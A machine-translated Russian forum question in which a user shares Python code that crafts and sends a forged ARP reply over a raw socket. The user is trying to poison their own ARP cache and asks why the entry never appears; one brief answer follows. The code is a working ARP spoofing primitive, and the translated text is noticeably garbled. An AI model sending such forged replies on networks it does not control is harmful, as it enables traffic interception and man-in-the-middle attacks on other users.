2014-09-23 9 views
0

Ладно, так я бегу Ubunutu 14.04 LTS, и я стараюсь, чтобы отравить свой собственный ARP кэш, делая это,Неудача в отравлении агр питона (Linux)

мой частный IP-адрес 10,0. 0,1.

Личный IP-адрес моего телефона: 10.0.0.8.

для этого примера предположим, что мой MAC-адрес axaxaxaxaxax.

Я написал следующий код Python:

from binascii import * 
from struct import * 
import socket; 


class ethernetframe: 

    def __init__(self, destmac, srcmac, ethrtype): 

     self.destmac = unhexlify(destmac) 
     self.srcmac = unhexlify(srcmac) 
     self.ethrtype = unhexlify(ethrtype) 


    def uniteframe(self, payload): 
     frame = '' 
     frame = frame + self.destmac 
     frame = frame + self.srcmac 
     frame = frame + self.ethrtype 
     frame = frame + payload 
     frame = frame + unhexlify("00000000") 
     return frame 



class arppacket: 

    def __init__(self,opcode,srcmac,srcip,dstmac,dstip): 

     if opcode == 1: 
      dstmac = "000000000000" 
      opcode = "0001" 
     else: 
      opcode = "0002" 
     self.opcode = unhexlify(opcode) 
     self.srcmac = unhexlify(srcmac) 
     self.srcip = pack('!4B',srcip[0],srcip[1],srcip[2],srcip[3]) 
     self.dstmac = unhexlify(dstmac) 
     self.dstip = pack('!4B',dstip[0],dstip[1],dstip[2],dstip[3]) 

    def unitepacket(self): 
     packet = '' 
     packet = packet + "\x00\x01\x08\x00\x06\x04" 
     packet = packet + self.opcode 
     packet = packet + self.srcmac 
     packet = packet + self.srcip 
     packet = packet + self.dstmac 
     packet = packet + self.dstip 
     return packet 


e1 = ethernetframe("axaxaxaxaxax","axaxaxaxaxax","0800") 
arp1 = arppacket(2,"axaxaxaxaxax",(10,0,0,8),"axaxaxaxaxax",(10,0,0,1)) 
arpacket = arp1.unitepacket() 
fullethframe = e1.uniteframe(arpacket) 

s = socket.socket(socket.AF_PACKET,socket.SOCK_RAW,socket.htons(0x0806)) 
s.bind(("eth0",0)) 
s.send(fullethframe) 

сейчас, я мониторинг всего этот процесс с помощью Wireshark, пакет ARP в настоящее время отправки и формируются правильно, в проволочной акуле я вижу следующая строка:

10.0.0.8 находится в axaxaxaxaxax

Это означает, что я успешно прислан ARP ответ! на мой собственный компьютер, указав, что MAC-адрес, который разрешен для 10.0.0.8: axaxaxaxaxax Поскольку ARP-кеш автоматически обновляется, если ответ получен БЕСПЛАТНО, если запрос был отправлен, это означает, что в кэше arp-кэша NIC-драйвера там должен был быть линия добавил о том, что 10.0.0.8 решается с axaxaxaxaxax

однако, когда я бегу внутри терминала моего ubunutu в

arp - a 

или

arp - an 

он не отображается ....., что означает, что я не смог отравить свой собственный кеш ARP, любые идеи, как это исправить?

ответ

1

Просто мысль здесь - пытались ли вы

arp -an 

Без -n, агр будет пытаться сделать обратный поиск имени по имени хоста (ов).

+0

Пробовал это только сейчас, не работает: / – user3687265